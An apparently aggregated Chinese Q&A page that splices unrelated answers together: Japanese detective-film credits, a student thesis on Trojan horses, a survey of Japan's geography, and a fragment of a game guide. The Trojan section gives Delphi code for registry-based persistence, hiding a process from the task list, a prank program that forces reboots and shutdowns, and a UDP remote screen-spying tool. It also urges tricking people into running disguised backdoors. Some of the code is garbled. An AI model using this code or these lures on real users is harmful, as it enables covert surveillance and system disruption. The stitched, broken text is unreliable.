黑潮腳本
『壹』 問兩部有些年頭的日本電影名字
日本電影《刑事物語》系列,在國內分別被翻譯成《片山刑警在海島》《片山刑警在山城》《片山刑警在蘋果園》(刑警情仇),後來中央電視台6套播過《片山刑警黑潮之歌》。87年後曾經在國內許多大城市電影院里放映過,電視上也播出過該系列。
引進及譯配情況:
1987年,片山刑警在海島(伍經緯)
1988年,片山刑警在山城(楊曉)
1990年,片山刑警在酒吧(楊曉)
1993年,刑警情仇(片山刑警在果園)(程玉珠)
《片山刑警在海島》
日本彩色故事片
上海電影譯制廠譯制
翻譯:周平 譯制導演:楊文元
片山(伍經緯配音) 刑警村上(楊曉配音)
罪犯仁科高志(蓋文源配音) 木崎(童自榮配音)
老闆娘玉江(曹雷配音) 蒙面人(程玉珠配音)
旅店女主人松樹清子(劉廣寧配音) 清子女兒海子(狄菲菲配音)
黑瀨派出所警長(畢克配音)
《片山刑警在酒吧 》(1985年出品)
(日本東寶電影公司、電影旬報社聯合攝制、上海電影譯制廠譯制 中國電影發行放映公司發行)
主演:武田鐵矢 Taketa Tetsuya,鈴木保奈美/Honami Suzukip
上海電影譯制廠譯制(90、9)
配音:楊曉、狄菲菲、沈曉謙、劉廣寧、王瑋、尚華
影片塑造了一位帶有喜劇色彩的刑警片山,充分地誇張突出他愛鑽牛角尖的性格,並造成一系滑稽可笑的表現。這又是一部帶有淡淡的苦澀味的人情劇。導演恰到好處地抓住片山刑警與他周圍的人總是處於一種滑稽可笑而又十分奇妙的緊張狀態中的細節加以渲染,才使影片獲得了成功。
《片山刑警在山城》
(刑事物語5——山神之詩 / 刑事物語5 やまびこの詩)
(VHS錄像帶封面)
日本東寶電影公司、電影旬報社 1987.05.16
製作 ................ 黒井和男
腳本 ................ 片山蒼 榎本修 鳥居欽圭
監督 ................ 杉村六郎
演員:
片山元 ................ 武田鉄矢
真咲直子 ................ 賀來千香子
真咲真子 ................ 鈴木保奈美
署長板垣 ................ 井川比佐志
刑事植田 ................ 村井國夫
課長鈴木 ................ 木村元
人質犯 ................ 石倉三郎
人質の女性 ................片桐はいり
大神和人 ................ 野村將希
狙撃手 ................ 江夏豊
大神真之助 ................小林桂樹
上海電影譯制廠譯制(90、2)
配音:楊曉、劉廣寧、丁建華、喬榛、翁振新、沈曉謙、童自榮
相關鏈接:
時下流行武田鐵矢著名的《101次求婚》,而中國觀眾最早知道他還是這個《片山刑警》系列電影。說到男主角,當然要提一提《101次求婚》。他那麼衰的男人,卻有那麼浪漫的愛情,那麼轟轟烈烈,刻骨銘心。
男主角拿著衣架表演中國功夫的鏡頭現在還記憶尤新。片尾非常好聽,有種獨特的滄桑韻味,那就是武田鐵矢(主音),以及中牟田俊男(副音+吉他),千葉和臣(副音+貝司)在72年結成的組合:海援隊。82年的時候解散了,後來94年的時候又重組。這片子的日本日語原文是《刑事物語》,螳螂拳最高!!
『貳』 電腦網路中的「後門」是什麼意思
電腦網路中的「後門」即是網路的漏洞
一、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名伺服器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網路給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網路產生成長的,是指那些對電腦和網路有狂熱興趣的人,他們不斷的研究電腦和網路知識,發現電腦和網路中的漏洞,喜歡挑戰高難度的網路系統,千方百計的尋找網路中的大小漏洞,然後向網路管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網路四處搗亂,到處尋找黑客軟體,然後到處搞破壞,這類人應該是網路上最危險的傢伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
現在的黑客軟體十分多,Back Orific、冰河、YAI到處都有。接觸網路後,我經常想:黑客軟體到底是如何編制的?我能編一個黑客軟體多好呀!這到不是想干壞事,因為在網路機房上課時,用一些黑客軟體可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟體本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網路上別人在機器上幹些什麼的程序,幾個程序純屬用於實驗,沒有什麼其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。
二、"特洛伊木馬"如何入侵系統
一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另一個是"後門"程序,用它來開放某台機器。假設我們想控制某台電腦,那麼我們通過一些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了一台特殊的ftp伺服器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和一些東西製作成一個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用一切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法一般是通過修改注冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動載入的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;
procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麼這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X載入應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裡面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是一個惡作劇的程序,入侵計算機後,每次開機後,隨機出現滑鼠亂跑並發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對於一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木馬為了防止發現後被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使你依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那麼當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。
三、木馬的種類
1、破壞型
惟一的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟體可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟體長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控制項)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程式控制制。以下的程序可以實現觀察"受害者"正在干什麼,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是網際網路上廣泛採用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分伺服器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控制項。
受控機程序部分:
讓控制項CUDP監視受控機的1111埠,當有數據發送到該口時,觸發控制項CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控制項CUDP發送數據時,將數據發送到主控機的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//發送每一批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222埠
end;
end;
end.
主控機程序部分:
讓控制項SUDP監視主控機的2222埠,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控制項SUDP發送數據時,將數據發到受控機的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好你的密碼
我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟體都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麼破解的可能性就大了。以下是一些注意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字元,字元越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟體幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟體,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟體,否則你沒害到別人,自己反被害了;如果你的機器上有防火牆,在上網時一定要打開,不要怕麻煩。
3、經常檢查系統信息
上網過程中,突然覺得計算機工作不對勁時,彷彿感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,一旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我一直認為聊天室沒有什麼意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。
『叄』 簡述日本的人文地理情況
日本國是亞洲東部太平洋上的一個群島國家。西隔東海、黃海、朝鮮海峽、日本海同中國、朝鮮、俄羅斯相望,東臨太平洋。領土由本州、北海道、九州、四國四個大島和3900多個小島組成,面積37. 7 7 萬平方千米。本州島是日本最重要的島嶼,面積22. 74萬多平方千米,約佔全國總面積的60%。海岸線總長將近3萬千米。南北長約3000公里,山脈縱貫列島中央 ,短而湍急的河流注入周圍大海。山地和丘陵地帶占國土總面積的70%左右,人口集中在河流周圍及沿岸平地等有限地帶。火山多,地震更多。因為山多平地少,日本的隧道技術、農業技術、灌溉技術得以提高。日本火山總共約有80來座,最高峰富士山(3776米)也是火山,行政區有47個都道府縣,下面分設市郡區町村。
日本自然環境
由於褶皺和斷層作用劇烈,加之外力作用的長期侵蝕切割,地形顯得十分破碎,海岸曲折多港灣。山地約佔全國面積的76%。北海道和本州北部的山脈多為南北走向,四國和本州南部的山脈成東西走向,兩者相匯於本州中部,稱「中央山結「,為全國地勢最高地區,其中有著名的富士山。
富士山海拔3776米,是一座活火山,也是全國最高峰。富士山最近一次爆發發生在1707年,現在仍有噴氣現象,其山體呈標准圓錐形,山頂終年積雪,有溫泉、瀑布,北有富士五湖,風景優美,日本人稱之為「聖岳」。
平原僅佔全國面積24%,大多零星分布在大河的下游和沿海地區。全國最大而著名的平原是東京附近的關東平原,面積15770平方千米;其次是名古屋附近的濃尾平原,大阪、京都附近的畿內平原等。日本位於太平洋西岸火山地震帶,是一個多火山的國家,全境有火山200多座,其中活火山佔1/3。地震頻繁,全國平均每天發生約四次,有「地震國」之稱。1923年9月1日的關東大地震,震毀東京房屋的73%和橫濱房屋的96%,死亡達15萬人。和火山活動有關的是全國溫泉遍布,共有溫泉約1200處。河流短小,水量充沛,水勢湍急,水力資源豐富,但不利航行。其中以信濃川最長,長367千米;以利根川流域面積最大,為16840平方千米。湖泊較多,但多為小而深的火口湖,分布於高山上,濱海則有許多深度不大的瀉湖。全國最大的湖泊琵琶湖是構造湖,面積686平方千米,湖面海拔85米,最深103米。
日本群島四周臨海,除東北部海岸外,均被來自熱帶太平洋的暖流(黑潮)環繞,氣候受到海洋的調節,形成較為溫和濕潤的海洋性季風氣候,比大陸同緯度地區溫和,降水也較豐富,年平均降水量絕大部分地區為1000-2000毫米。夏季盛行東南風,東部沿海6--7月間陰雨連綿;冬季西北風由大陸經日本海吹來 天氣寒冷,北部多降雪。日本南北延伸約2400千米,各地氣候的差異很大,大致北緯35度以南屬季風型亞熱帶森林氣候;本州北部及北海道屬季風型溫帶針葉林氣候;其餘廣大地區屬季風型溫帶闊葉林氣候。位於中部的東京,最冷月(1月)平均氣溫攝氏6 度,最熱月(8月)平均氣溫攝氏25度,年平均降水量1500多毫米。九州南部的鹿兒島,最冷月(l月)平均氣溫攝氏7度,最熱月(8月)平均氣溫攝氏27度,年平均降水量達2000毫米以上。北海道的札幌,最冷月(l月)平均氣溫在攝氏-6度以下,最熱月(8月)平均氣溫攝氏20度以上;根室年平均降水量為981毫米。每年8-10月間,日本西部和南部常遭台風襲擊,往往造成災害。
日本氣候
春夏秋冬四季分明,終年均有降雨,特別是初夏和秋天雨量較多。日本的絕大部分工區屬於溫帶,適宜水稻栽培。由於國土狹窄且南北方向延伸很長,所以南北氣候完全不同。四季的特點春-樹木花草同時開始披上新裝。一到櫻花盛開的時候。人們就切切實實地感到了春天的來臨。夏-受南海海面形成的高氣壓的影響,悶熱的晴天較多。台風7月至10月間在菲律賓近海形成,由此產生的暴風雨給日本各地帶來相當大的災害。秋-樹葉開始由綠色變為紅色、黃色。冬-北方吹來的季節風,造成日本海方面持續的大雪和太平洋方面持續的乾燥晴天。
日本重要城市
東京:首都。位於關東平原南端,東京灣的西北岸。人口8 4 0 萬,包括郊區人口為1 1 8 9 萬多,是日本政治、經濟、文化中心。工業以印刷、橡膠製品、皮革製品、精密儀器等最發達。對外貿易多經橫濱。
大阪:日本第二大城市,人口2 6 4 萬。為大阪工業區的核心,以機器、化學工業為主,造船、石油化學工業也很發達。附近有衛星城1 0 余座。名古屋:人口2 0 9 萬。工業發達,年產值僅次於東京和大阪。毛紡織和陶瓷工業居全國首位。
橫濱:人口2 7 7 萬。日本最大海港之一,是東京的外港。對外貿易額約佔全國1 /4 。 京都:人口1 4 8 萬。日本的故都和著名的文化、游覽和工業城市。以出產絲織品、藝術陶瓷器及其它手工藝品著名。
神戶:人口1 3 6 萬。是日本最大海港之一,是大阪的外港。對外貿易額約佔全國3 /1 0 。工業以造船為主。
北九州:人口1 0 6 萬。扼下關海峽,由門司、八幡、小倉、若松、戶(火田)等市鎮合並而成,為九州北部重要的工業區和交通中心,門司有海底隧道(長3 4 9 0 米)與對岸下關相通。
橫須賀:人口4 2 萬。位於東京灣西南岸的三浦半島,扼東京灣口。工業以船艦製造為主,還有機械製造、食品加工等。
札幌:人口為1 6 2 萬。北海道的政治、文化中心和鐵路樞紐。工業以食品加工和印刷為主。城西3 5 千米的小樽為其外港。
日本交通
交通運輸發達,已形成了以海運為主的海陸空密切結合的現代化交通運輸體系。擁有強大的船隊,與世界各地有航線相通。橫濱、神戶、東京、大阪、北九州、名古屋是重要港口。鐵路全長為46000 多千米,其中電氣化高速鐵路2000 千米,主要鐵路干線多分布在沿海一帶。全國有公 路為110 多萬千米。現代化高速公路4900 千米。飛機--國內航空網連結各主要城市。鐵道--日本鐵道全長2萬7千公里(本州與北海道、四國、九州之間由橋梁或海底隧道連結),是最方便、最有效而且安全的交通手段。JR網路聯結了幾乎所有的城市。在大城市及游覽地,私鐵服務網路與JR平行或以輔助的形式運行。JR--自1872年新橋-橫濱之間日本第一條鐵道通車以來,114年間一直是日本鐵道中心的JNR(日本國有鐵道)於1987年4月衽民營化,分割為JR東日本、JR西日本等6家客運公司及貨運鐵道公司。新干線--以安全穩定高速大量運送旅客為目的,於1964年開始運營。現在運行有時速高達270公里的新干線,連結東京-大阪僅需2個半小時。私鐵--現有132家鐵道公司,與JR一起形成了全國的鐵道網路系統地鐵--在東京、大阪、名古屋、橫濱、神戶、京都、札幌、福岡、仙台九個城市有地鐵運行,是城市中最為可靠便宜的交通手段。公路和汽車--公路總長約112萬公里,共有汽車5860萬台,僅次於美國,居世界第二位。
民族和語言
日本語言 語言只有日語,但方言很多。東北、九州等地的方言很難懂。不過,完全可以用標准語進行溝通。文字使用漢字和假名。漢字是從中國傳入的,假名(平假名和片假名)自漢字派生而來。用片假名表示的主要是外來語。
日本傳統體育和藝術 日本傳統體育 相撲、柔道、劍道、射箭、空手道等。 日本傳統藝術 歌舞伎、能三弦、琴等
歌舞伎(Kabuki) 歌舞伎是與能樂、狂言一起保留至今的古典劇種,它產生於日本江戶時代初期,並在江戶時代中期形成。歌舞伎中不用女演員,女角由叫做「女形」(Oyama)的男演員扮演。隨著劇場的發展,舞台上使用了「轉台」與舞台能從地下推上的設備,發展成出色的腳本與傑出的演技。以江戶、大阪、京都三市為中心,作為市民生活中不可缺少的文化而成為一種市民觀賞的表演。題材涉及各個方面,既有以古典與傳說等為基礎的歷史小說,也有取材於現實生活的世態劇、以舞蹈為主的歌舞表演。其宗旨是宣傳忠孝仁義等道義,對一般市民進行勤善懲惡的道德教育。而且,名演員的服裝與道具等也成了人們追求的對象。根據傳統,演員是受歧視的階層,但是在江戶時代,無論在經濟方面,還是社會方面,都是作為有名人物而對待。演員之家為世襲制,現在的市川座、尾上座、市村座等,就是保持父子代代歌舞伎演員相繼的。
花道--插花(kebana) 「生花」始於16世紀的插花藝術。它是把中世紀僧侶向佛像供花這一儀式吸收到平民生活而形成的。插花和茗茶一起作為日本獨特的傳統文化廣為普及。花道有各種流派,均確立有宗主、宗師、弟子的等級制度,形成了最古老的和富有傳統的社會模式。
茶道 茶是中世紀從中國傳入日本的飲料。日本茶不經發酵,讓其自然乾燥即成。研成粉末的茶稱為「末茶」。從室町時代起就流行喝末茶的各種禮儀和方法,不僅茶室和茶杯十分考究,品茶的設施和工具也頗有藝術性。
日本人行為方式和彈子房
日本居民 12496萬,城市人口佔76%。人口分布極不平衡,多數密集於各島沿海平原和沿河地帶,以東京、大阪、名古屋三大城市為中心的地區集中了全國人口的一半。人口稀少地區為北海道、山陰和四國部分地區,除北海道和北方領土有少數阿伊努人外,幾乎全是大和民族 。大多數居民信神道和佛教。日語為國語,阿伊努人通用阿伊努語。外僑以朝鮮人和華僑為多。
日本人的行為方式 日本人一般不採取與他人相差太遠的行動。日本人一旦幾個人聚在一起,就會自然而然地按年齡、社會地位排出相互間的順序,並影響自己的行動。需要發言或行動時,日本人會考慮到對方的情緒、立場、因此不會將自己的意見強加給對方。對是與否的表示曖昧。即使是說一個設想,也要先做一段很長很長的理由說明,以免刺激對方。日本人幾乎都認為自己屬於中流階層。
彈子房(Pachinko) 「Pachinko」是一種用作游戲的機器,在一個立式的帶有許多小孔的盒子里,游戲者撥動右下方的扳手,彈擊直徑1公分左右的鐵球,如果鐵球順利進入某一個孔洞,便會滾出十幾個小球,小球多到一定數量便可換取金錢。目前,日本熱衷於打Pachinko的人很多。
重要節日
1月1日 元旦,是新的一年中最初的一天,也是祈求在新的一年能幸運、幸福,和擬定這一年的計劃的日子,這一天也到神社或附近的寺廟去做第一次的參拜。
1月15日 成人節。是慶祝年滿20歲的青年男女成人自立的節日,有各市、鎮、村的行政機關舉行成人儀式的典禮。
2月11日 建國紀念日。根據日本最早的一部史書《日本書紀》中的記載,這一天是為了要追憶當初建國不易,以及培養愛國情操,而以此為宗旨,於1966年追加的。在日本國內,目前仍有人反對所謂的「建國紀念日」。
3月21日 春分之日。即「春之彼岸」的中心日。是掃墓、祭拜祖先的日子。
5月3日 憲法紀念日。是為了紀念1947年5月3日的現行憲法制定之日。
5月5日 孩童節。本來是慶祝男孩的端午節,慶祝小孩成長,祈求幸福之日。
9月15日 敬老日。以尊敬老人、感謝老人為宗旨,在1966年補制的節日。
9月23日 秋分日。為秋之彼岸的中心日。和春分一樣,要掃墓及祭拜祖先靈位。
10月10日 體育節。紀念1964年在東京舉行的奧林匹克運動會開幕式的日子。這是接近體育、認識健康重要性的日子。1966年補定。
11月3日 文化節。為紀念1946年11月3日頒布日本現行憲法,並以培養尊重文化的意識而制定的節日。
11月23日 勞動感謝日。此時正值收獲的季節。為了表示對收獲的謝意,重新廣泛認識勞動的喜悅,而以此制定了以感謝勞動為宗旨的節日。
國慶日12月23日。 櫻花節3-4月。 與我國建交日:1972年9月29日。
貨幣:日元。
時差:比格林尼治時間早9小時;比北京時間早1小時。
國花:櫻花。
國鳥:綠雉。
國名釋義:日出之國。 譽稱:櫻花之國(櫻花有300 多個品種)、火山地震之邦(有200 多座火山,活火山佔1/4 )。
民俗:傳統服裝為和服。
『肆』 魔獸爭霸逃學大亂斗3.3攻略
1、到地圖中間先去殺班主任(白豬)拿到鑰匙。